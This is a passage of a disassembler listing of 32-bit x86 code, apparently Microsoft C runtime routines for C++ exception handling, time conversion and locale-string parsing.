loc_42809F: ; CODE XREF: sub_428060+2Ej
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_24]
push edx
call sub_41D0A0
loc_4280AC: ; CODE XREF: sub_428060+3Dj
mov eax, [ebp+arg_1C]
mov ecx, [eax]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_427F30
add esp, 10h
mov edx, [ebp+arg_1C]
mov eax, [edx+4]
add eax, 1
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
push 100h
mov edx, [ebp+arg_20]
push edx
mov eax, [ebp+arg_14]
mov ecx, [eax+0Ch]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_428120
add esp, 1Ch
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_428113
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_41D030
loc_428113: ; CODE XREF: sub_428060+A4j
mov esp, ebp
pop ebp
retn
sub_428060 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428120 proc near ; CODE XREF: sub_428060+95p
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
; FUNCTION CHUNK AT 0042825B SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4381E0
push offset sub_42A9E4
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE0h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
mov [ebp+var_24], 0
mov ecx, [ebp+arg_4]
mov edx, [ecx-4]
mov [ebp+var_28], edx
call sub_423CF0
mov eax, [eax+6Ch]
mov [ebp+var_1C], eax
call sub_423CF0
mov ecx, [eax+70h]
mov [ebp+var_20], ecx
call sub_423CF0
mov edx, [ebp+arg_0]
mov [eax+6Ch], edx
call sub_423CF0
mov ecx, [ebp+arg_8]
mov [eax+70h], ecx
mov [ebp+var_4], 0
mov [ebp+var_4], 1
mov edx, [ebp+arg_18]
push edx
mov eax, [ebp+arg_14]
push eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_41D170
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], 0
jmp short loc_4281EF
; ---------------------------------------------------------------------------
loc_4281BE: ; DATA XREF: .nsp0:004381F0o
mov ecx, [ebp+var_14]
push ecx
call sub_428270
add esp, 4
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_2C], 0
push 0FFFFFFFFh
mov [ebp+var_30], 0
lea edx, [ebp+var_10]
push edx
call sub_41D452
add esp, 8
mov eax, [ebp+var_30]
jmp short loc_42825E
; ---------------------------------------------------------------------------
loc_4281EF: ; CODE XREF: sub_428120+9Cj
mov [ebp+var_4], 0FFFFFFFFh
call sub_4281FD
jmp short loc_42825B
sub_428120 endp
; =============== S U B R O U T I N E =======================================
sub_4281FD proc near ; CODE XREF: sub_428120+D6p
; DATA XREF: .nsp0:004381E8o
mov eax, [ebp+0Ch]
mov ecx, [ebp-28h]
mov [eax-4], ecx
call sub_423CF0
mov edx, [ebp-1Ch]
mov [eax+6Ch], edx
call sub_423CF0
mov ecx, [ebp-20h]
mov [eax+70h], ecx
mov edx, [ebp+8]
cmp dword ptr [edx], 0E06D7363h
jnz short locret_42825A
mov eax, [ebp+8]
cmp dword ptr [eax+10h], 3
jnz short locret_42825A
mov ecx, [ebp+8]
cmp dword ptr [ecx+14h], 19930520h
jnz short locret_42825A
cmp dword ptr [ebp-24h], 0
jnz short locret_42825A
cmp dword ptr [ebp-2Ch], 0
jz short locret_42825A
call sub_41D4BA
push eax
mov edx, [ebp+8]
push edx
call sub_428540
add esp, 8
locret_42825A: ; CODE XREF: sub_4281FD+28j
; sub_4281FD+31j ...
retn
sub_4281FD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428120
loc_42825B: ; CODE XREF: sub_428120+DBj
mov eax, [ebp+var_2C]
loc_42825E: ; CODE XREF: sub_428120+CDj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_428120
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428270 proc near ; CODE XREF: sub_428120+A2p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0E06D7363h
jnz short loc_4282AC
mov eax, [ebp+var_4]
cmp dword ptr [eax+10h], 3
jnz short loc_4282AC
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 19930520h
jnz short loc_4282AC
mov edx, [ebp+var_4]
cmp dword ptr [edx+1Ch], 0
jnz short loc_4282AC
mov eax, 1
jmp short loc_4282AE
; ---------------------------------------------------------------------------
loc_4282AC: ; CODE XREF: sub_428270+15j
; sub_428270+1Ej ...
xor eax, eax
loc_4282AE: ; CODE XREF: sub_428270+3Aj
mov esp, ebp
pop ebp
retn
sub_428270 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4282C0 proc near ; CODE XREF: sub_428060+22p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4381F8
push offset sub_42A9E4
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_8]
cmp dword ptr [eax+4], 0
jz short loc_428306
mov ecx, [ebp+arg_8]
mov edx, [ecx+4]
movsx eax, byte ptr [edx+8]
test eax, eax
jz short loc_428306
mov ecx, [ebp+arg_8]
cmp dword ptr [ecx+8], 0
jnz short loc_42830B
loc_428306: ; CODE XREF: sub_4282C0+2Dj
; sub_4282C0+3Bj
jmp loc_42852A
; ---------------------------------------------------------------------------
loc_42830B: ; CODE XREF: sub_4282C0+44j
mov edx, [ebp+arg_8]
mov eax, [edx+8]
mov ecx, [ebp+arg_4]
lea edx, [ecx+eax+0Ch]
mov [ebp+var_1C], edx
mov [ebp+var_4], 0
mov eax, [ebp+arg_8]
mov ecx, [eax]
and ecx, 8
test ecx, ecx
jz short loc_428386
push 1
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_42DE70
add esp, 8
test eax, eax
jz short loc_42837C
push 1
mov ecx, [ebp+var_1C]
push ecx
call sub_42DEA0
add esp, 8
test eax, eax
jz short loc_42837C
mov edx, [ebp+var_1C]
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
mov [edx], ecx
mov edx, [ebp+arg_C]
add edx, 8
push edx
mov eax, [ebp+var_1C]
mov ecx, [eax]
push ecx
call sub_4285D0
add esp, 8
mov edx, [ebp+var_1C]
mov [edx], eax
jmp short loc_428381
; ---------------------------------------------------------------------------
loc_42837C: ; CODE XREF: sub_4282C0+81j
; sub_4282C0+93j
call sub_428720
loc_428381: ; CODE XREF: sub_4282C0+BAj
jmp loc_428513
; ---------------------------------------------------------------------------
loc_428386: ; CODE XREF: sub_4282C0+6Cj
mov eax, [ebp+arg_C]
mov ecx, [eax]
and ecx, 1
test ecx, ecx
jz short loc_42840A
push 1
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_42DE70
add esp, 8
test eax, eax
jz short loc_428400
push 1
mov ecx, [ebp+var_1C]
push ecx
call sub_42DEA0
add esp, 8
test eax, eax
jz short loc_428400
mov edx, [ebp+arg_C]
mov eax, [edx+14h]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_1C]
push eax
call sub_41D520
add esp, 0Ch
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx+14h], 4
jnz short loc_4283FE
mov edx, [ebp+var_1C]
cmp dword ptr [edx], 0
jz short loc_4283FE
mov eax, [ebp+arg_C]
add eax, 8
push eax
mov ecx, [ebp+var_1C]
mov edx, [ecx]
push edx
call sub_4285D0
add esp, 8
mov ecx, [ebp+var_1C]
mov [ecx], eax
loc_4283FE: ; CODE XREF: sub_4282C0+11Aj
; sub_4282C0+122j
jmp short loc_428405
; ---------------------------------------------------------------------------
loc_428400: ; CODE XREF: sub_4282C0+E5j
; sub_4282C0+F7j
call sub_428720
loc_428405: ; CODE XREF: sub_4282C0:loc_4283FEj
jmp loc_428513
; ---------------------------------------------------------------------------
loc_42840A: ; CODE XREF: sub_4282C0+D0j
mov edx, [ebp+arg_C]
cmp dword ptr [edx+18h], 0
jnz short loc_428470
push 1
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
push ecx
call sub_42DE70
add esp, 8
test eax, eax
jz short loc_428466
push 1
mov edx, [ebp+var_1C]
push edx
call sub_42DEA0
add esp, 8
test eax, eax
jz short loc_428466
mov eax, [ebp+arg_C]
mov ecx, [eax+14h]
push ecx
mov edx, [ebp+arg_C]
add edx, 8
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
push ecx
call sub_4285D0
add esp, 8
push eax
mov edx, [ebp+var_1C]
push edx
call sub_41D520
add esp, 0Ch
jmp short loc_42846B
; ---------------------------------------------------------------------------
loc_428466: ; CODE XREF: sub_4282C0+166j
; sub_4282C0+178j
call sub_428720
loc_42846B: ; CODE XREF: sub_4282C0+1A4j
jmp loc_428513
; ---------------------------------------------------------------------------
loc_428470: ; CODE XREF: sub_4282C0+151j
push 1
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
push ecx
call sub_42DE70
add esp, 8
test eax, eax
jz loc_42850E
push 1
mov edx, [ebp+var_1C]
push edx
call sub_42DEA0
add esp, 8
test eax, eax
jz short loc_42850E
mov eax, [ebp+arg_C]
mov ecx, [eax+18h]
push ecx
call sub_42DED0
add esp, 4
test eax, eax
jz short loc_42850E
mov edx, [ebp+arg_C]
mov eax, [edx]
and eax, 4
test eax, eax
jz short loc_4284E5
push 1
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_4285D0
add esp, 8
push eax
mov ecx, [ebp+arg_C]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_1C]
push eax
call sub_41D090
jmp short loc_42850C
; ---------------------------------------------------------------------------
loc_4284E5: ; CODE XREF: sub_4282C0+1F8j
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_4285D0
add esp, 8
push eax
mov ecx, [ebp+arg_C]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_1C]
push eax
call sub_41D080
loc_42850C: ; CODE XREF: sub_4282C0+223j
jmp short loc_428513
; ---------------------------------------------------------------------------
loc_42850E: ; CODE XREF: sub_4282C0+1C3j
; sub_4282C0+1D9j ...
call sub_428720
loc_428513: ; CODE XREF: sub_4282C0:loc_428381j
; sub_4282C0:loc_428405j ...
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42852A
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
call sub_428670
loc_42852A: ; CODE XREF: sub_4282C0:loc_428306j
; sub_4282C0+25Aj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4282C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428540 proc near ; CODE XREF: sub_427AB0+252p
; sub_4281FD+55p
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_438208
push offset sub_42A9E4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp [ebp+arg_0], 0
jz short loc_4285B5
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp dword ptr [ecx+4], 0
jz short loc_4285B5
mov [ebp+var_4], 0
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [eax+4]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_41D070
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_4285B5
; ---------------------------------------------------------------------------
mov eax, [ebp+arg_4]
and eax, 0FFh
neg eax
sbb eax, eax
neg eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
call sub_428670
loc_4285B5: ; CODE XREF: sub_428540+2Aj
; sub_428540+36j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_428540 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4285D0 proc near ; CODE XREF: sub_4282C0+ADp
; sub_4282C0+131p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_0]
add ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
cmp dword ptr [edx+4], 0
jl short loc_42860F
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
mov ecx, [ebp+var_4]
add ecx, [eax+edx]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, [edx+4]
mov [ebp+var_4], eax
loc_42860F: ; CODE XREF: sub_4285D0+16j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4285D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428620 proc near ; CODE XREF: sub_41D170+4Dp
; sub_427F30+8Bp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41D4DD
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_42865F
mov ecx, 2
loc_42865F: ; CODE XREF: sub_428620+38j
push ecx
call sub_41D4DD
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_428620 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428670 proc near ; CODE XREF: sub_427AB0:loc_427D43p
; sub_428030:loc_428051p ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004286E4 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_438218
push offset sub_42A9E4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov [ebp+var_4], 0
call sub_423CF0
cmp dword ptr [eax+60h], 0
jz short loc_4286D0
mov [ebp+var_4], 1
call sub_423CF0
call dword ptr [eax+60h]
mov [ebp+var_4], 0
jmp short loc_4286D0
; ---------------------------------------------------------------------------
loc_4286C0: ; DATA XREF: .nsp0:00438228o
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_4286C6: ; DATA XREF: .nsp0:0043822Co
mov esp, [ebp+var_18]
mov [ebp+var_4], 0
loc_4286D0: ; CODE XREF: sub_428670+36j
; sub_428670+4Ej
mov [ebp+var_4], 0FFFFFFFFh
call sub_4286DE
jmp short loc_4286E4
sub_428670 endp
; =============== S U B R O U T I N E =======================================
sub_4286DE proc near ; CODE XREF: sub_428670+67p
; DATA XREF: .nsp0:00438220o
call sub_42DF00
retn
sub_4286DE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428670
loc_4286E4: ; CODE XREF: sub_428670+6Cj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_428670
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_423CF0
cmp dword ptr [eax+64h], 0
jz short loc_428716
call sub_423CF0
call dword ptr [eax+64h]
loc_428716: ; CODE XREF: .nsp0:0042870Cj
call sub_428670
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428720 proc near ; CODE XREF: sub_41D380+23p
; sub_41D380:loc_41D3EDp ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00428790 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_438230
push offset sub_42A9E4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov [ebp+var_4], 0
cmp off_451A70, 0
jz short loc_42877C
mov [ebp+var_4], 1
call off_451A70
mov [ebp+var_4], 0
jmp short loc_42877C
; ---------------------------------------------------------------------------
loc_42876C: ; DATA XREF: .nsp0:00438240o
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_428772: ; DATA XREF: .nsp0:00438244o
mov esp, [ebp+var_18]
mov [ebp+var_4], 0
loc_42877C: ; CODE XREF: sub_428720+34j
; sub_428720+4Aj
mov [ebp+var_4], 0FFFFFFFFh
call sub_42878A
jmp short loc_428790
sub_428720 endp
; =============== S U B R O U T I N E =======================================
sub_42878A proc near ; CODE XREF: sub_428720+63p
; DATA XREF: .nsp0:00438238o
call sub_428670
retn
sub_42878A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428720
loc_428790: ; CODE XREF: sub_428720+68j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_428720
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4287B0 proc near ; CODE XREF: sub_41DA60+161p
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 2Ch
mov eax, [ebp+arg_0]
sub eax, 76Ch
mov [ebp+arg_0], eax
cmp [ebp+arg_0], 46h
jl short loc_4287D0
cmp [ebp+arg_0], 8Ah
jle short loc_4287D8
loc_4287D0: ; CODE XREF: sub_4287B0+15j
or eax, 0FFFFFFFFh
jmp loc_42889A
; ---------------------------------------------------------------------------
loc_4287D8: ; CODE XREF: sub_4287B0+1Ej
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_8]
add edx, dword_451E2C[ecx*4]
mov [ebp+var_2C], edx
mov eax, [ebp+arg_0]
and eax, 3
test eax, eax
jnz short loc_428801
cmp [ebp+arg_4], 2
jle short loc_428801
mov ecx, [ebp+var_2C]
add ecx, 1
mov [ebp+var_2C], ecx
loc_428801: ; CODE XREF: sub_4287B0+40j
; sub_4287B0+46j
mov edx, [ebp+arg_0]
sub edx, 46h
imul edx, 16Dh
mov eax, [ebp+arg_0]
sub eax, 1
sar eax, 2
mov ecx, [ebp+var_2C]
add ecx, edx
lea edx, [eax+ecx-11h]
imul edx, 18h
add edx, [ebp+arg_C]
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
imul eax, 3Ch
add eax, [ebp+arg_10]
imul eax, 3Ch
add eax, [ebp+arg_14]
mov [ebp+var_4], eax
call sub_42DF20
mov ecx, [ebp+var_4]
add ecx, dword_451D48
mov [ebp+var_4], ecx
mov edx, [ebp+var_2C]
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+var_18], ecx
mov edx, [ebp+arg_C]
mov [ebp+var_20], edx
cmp [ebp+arg_18], 1
jz short loc_42888B
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_428897
cmp dword_451D4C, 0
jz short loc_428897
lea eax, [ebp+var_28]
push eax
call sub_42E330
add esp, 4
test eax, eax
jz short loc_428897
loc_42888B: ; CODE XREF: sub_4287B0+BAj
mov ecx, [ebp+var_4]
add ecx, dword_451D50
mov [ebp+var_4], ecx
loc_428897: ; CODE XREF: sub_4287B0+C0j
; sub_4287B0+C9j ...
mov eax, [ebp+var_4]
loc_42889A: ; CODE XREF: sub_4287B0+23j
mov esp, ebp
pop ebp
retn
sub_4287B0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 0B0h
cmp dword ptr [ebp+8], 0
jl short loc_4288B5
cmp dword ptr [ebp+8], 5
jle short loc_4288BC
loc_4288B5: ; CODE XREF: .nsp0:004288ADj
xor eax, eax
jmp loc_428C8B
; ---------------------------------------------------------------------------
loc_4288BC: ; CODE XREF: .nsp0:004288B3j
push 13h
call sub_41FB40
add esp, 4
mov dword ptr [ebp-4], 1
mov eax, dword_4EFD44
add eax, 1
mov dword_4EFD44, eax
loc_4288DA: ; CODE XREF: .nsp0:004288EBj
cmp dword_4EFD48, 0
jz short loc_4288ED
push 1
call dword_4F1334 ; Sleep
jmp short loc_4288DA
; ---------------------------------------------------------------------------
loc_4288ED: ; CODE XREF: .nsp0:004288E1j
cmp dword ptr [ebp+8], 0
jz short loc_428931
cmp dword ptr [ebp+0Ch], 0
jz short loc_428911
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_428C90
add esp, 8
mov [ebp-0A8h], eax
jmp short loc_428923
; ---------------------------------------------------------------------------
loc_428911: ; CODE XREF: .nsp0:004288F7j
mov eax, [ebp+8]
imul eax, 0Ch
mov ecx, dword_451B84[eax]
mov [ebp-0A8h], ecx
loc_428923: ; CODE XREF: .nsp0:0042890Fj
mov edx, [ebp-0A8h]
mov [ebp-8], edx
jmp loc_428C6B
; ---------------------------------------------------------------------------
loc_428931: ; CODE XREF: .nsp0:004288F1j
mov dword ptr [ebp-14h], 1
mov dword ptr [ebp-0Ch], 0
cmp dword ptr [ebp+0Ch], 0
jz loc_428C63
mov eax, [ebp+0Ch]
movsx ecx, byte ptr [eax]
cmp ecx, 4Ch
jnz loc_428B74
mov edx, [ebp+0Ch]
movsx eax, byte ptr [edx+1]
cmp eax, 43h
jnz loc_428B74
mov ecx, [ebp+0Ch]
movsx edx, byte ptr [ecx+2]
cmp edx, 5Fh
jnz loc_428B74
mov eax, [ebp+0Ch]
mov [ebp-9Ch], eax
loc_428981: ; CODE XREF: .nsp0:00428B43j
push offset asc_43828C ; "=;"
mov ecx, [ebp-9Ch]
push ecx
call sub_42FD60
add esp, 8
mov [ebp-0A0h], eax
cmp dword ptr [ebp-0A0h], 0
jz short loc_4289CD
mov edx, [ebp-0A0h]
sub edx, [ebp-9Ch]
mov [ebp-0A4h], edx
cmp dword ptr [ebp-0A4h], 0
jz short loc_4289CD
mov eax, [ebp-0A0h]
movsx ecx, byte ptr [eax]
cmp ecx, 3Bh
jnz short loc_4289F3
loc_4289CD: ; CODE XREF: .nsp0:004289A2j
; .nsp0:004289BDj
cmp dword ptr [ebp-4], 0
jz short loc_4289EC
push 13h
call sub_41FBE0
add esp, 4
mov edx, dword_4EFD44
sub edx, 1
mov dword_4EFD44, edx
loc_4289EC: ; CODE XREF: .nsp0:004289D1j
xor eax, eax
jmp loc_428C8B
; ---------------------------------------------------------------------------
loc_4289F3: ; CODE XREF: .nsp0:004289CBj
mov dword ptr [ebp-10h], 1
jmp short loc_428A05
; ---------------------------------------------------------------------------
loc_4289FC: ; CODE XREF: .nsp0:loc_428A51j
mov eax, [ebp-10h]
add eax, 1
mov [ebp-10h], eax
loc_428A05: ; CODE XREF: .nsp0:004289FAj
cmp dword ptr [ebp-10h], 5
jg short loc_428A53
mov ecx, [ebp-0A4h]
push ecx
mov edx, [ebp-9Ch]
push edx
mov eax, [ebp-10h]
imul eax, 0Ch
mov ecx, off_451B80[eax]
push ecx
call sub_41C2C0
add esp, 0Ch
test eax, eax
jnz short loc_428A51
mov edx, [ebp-10h]
imul edx, 0Ch
mov eax, off_451B80[edx]
push eax
call sub_418D00
add esp, 4
cmp [ebp-0A4h], eax
jnz short loc_428A51
jmp short loc_428A53
; ---------------------------------------------------------------------------
loc_428A51: ; CODE XREF: .nsp0:00428A30j
; .nsp0:00428A4Dj
jmp short loc_4289FC
; ---------------------------------------------------------------------------
loc_428A53: ; CODE XREF: .nsp0:00428A09j
; .nsp0:00428A4Fj
push offset asc_438288 ; ";"
mov ecx, [ebp-0A0h]
add ecx, 1
mov [ebp-0A0h], ecx
mov edx, [ebp-0A0h]
push edx
call sub_42FD20
add esp, 8
mov [ebp-0A4h], eax
cmp dword ptr [ebp-0A4h], 0
jnz short loc_428AB9
mov eax, [ebp-0A0h]
movsx ecx, byte ptr [eax]
cmp ecx, 3Bh
jz short loc_428AB9
cmp dword ptr [ebp-4], 0
jz short loc_428AB2
push 13h
call sub_41FBE0
add esp, 4
mov edx, dword_4EFD44
sub edx, 1
mov dword_4EFD44, edx
loc_428AB2: ; CODE XREF: .nsp0:00428A97j
xor eax, eax
jmp loc_428C8B
; ---------------------------------------------------------------------------
loc_428AB9: ; CODE XREF: .nsp0:00428A83j
; .nsp0:00428A91j
cmp dword ptr [ebp-10h], 5
jg short loc_428B0A
mov eax, [ebp-0A4h]
push eax
mov ecx, [ebp-0A0h]
push ecx
lea edx, [ebp-98h]
push edx
call sub_41B1F0
add esp, 0Ch
mov eax, [ebp-0A4h]
mov byte ptr [ebp+eax-98h], 0
lea ecx, [ebp-98h]
push ecx
mov edx, [ebp-10h]
push edx
call sub_428C90
add esp, 8
test eax, eax
jz short loc_428B0A
mov eax, [ebp-0Ch]
add eax, 1
mov [ebp-0Ch], eax
loc_428B0A: ; CODE XREF: .nsp0:00428ABDj
; .nsp0:00428AFFj
mov ecx, [ebp-0A0h]
add ecx, [ebp-0A4h]
mov [ebp-9Ch], ecx
mov edx, [ebp-9Ch]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_428B38
mov ecx, [ebp-9Ch]
add ecx, 1
mov [ebp-9Ch], ecx
loc_428B38: ; CODE XREF: .nsp0:00428B27j
mov edx, [ebp-9Ch]
movsx eax, byte ptr [edx]
test eax, eax
jnz loc_428981
cmp dword ptr [ebp-0Ch], 0
jz short loc_428B5C
call sub_428E30
mov [ebp-0ACh], eax
jmp short loc_428B66
; ---------------------------------------------------------------------------
loc_428B5C: ; CODE XREF: .nsp0:00428B4Dj
mov dword ptr [ebp-0ACh], 0
loc_428B66: ; CODE XREF: .nsp0:00428B5Aj
mov ecx, [ebp-0ACh]
mov [ebp-8], ecx
jmp loc_428C61
; ---------------------------------------------------------------------------
loc_428B74: ; CODE XREF: .nsp0:00428952j
; .nsp0:00428962j ...
mov edx, [ebp+8]
push edx
push 0
push 0
lea eax, [ebp-98h]
push eax
mov ecx, [ebp+0Ch]
push ecx
call sub_428F30
add esp, 14h
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0
jz loc_428C61
mov dword ptr [ebp-10h], 0
jmp short loc_428BAE
; ---------------------------------------------------------------------------
loc_428BA5: ; CODE XREF: .nsp0:loc_428C0Ej
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_428BAE: ; CODE XREF: .nsp0:00428BA3j
cmp dword ptr [ebp-10h], 5
jg short loc_428C10
cmp dword ptr [ebp-10h], 0
jz short loc_428C0E
mov eax, [ebp-10h]
imul eax, 0Ch
mov ecx, dword_451B84[eax]
push ecx
lea edx, [ebp-98h]
push edx
call sub_41C4C0
add esp, 8
test eax, eax
jz short loc_428C05
lea eax, [ebp-98h]
push eax
mov ecx, [ebp-10h]
push ecx
call sub_428C90
add esp, 8
test eax, eax
jz short loc_428BFC
mov edx, [ebp-0Ch]
add edx, 1
mov [ebp-0Ch], edx
jmp short loc_428C03
; ---------------------------------------------------------------------------
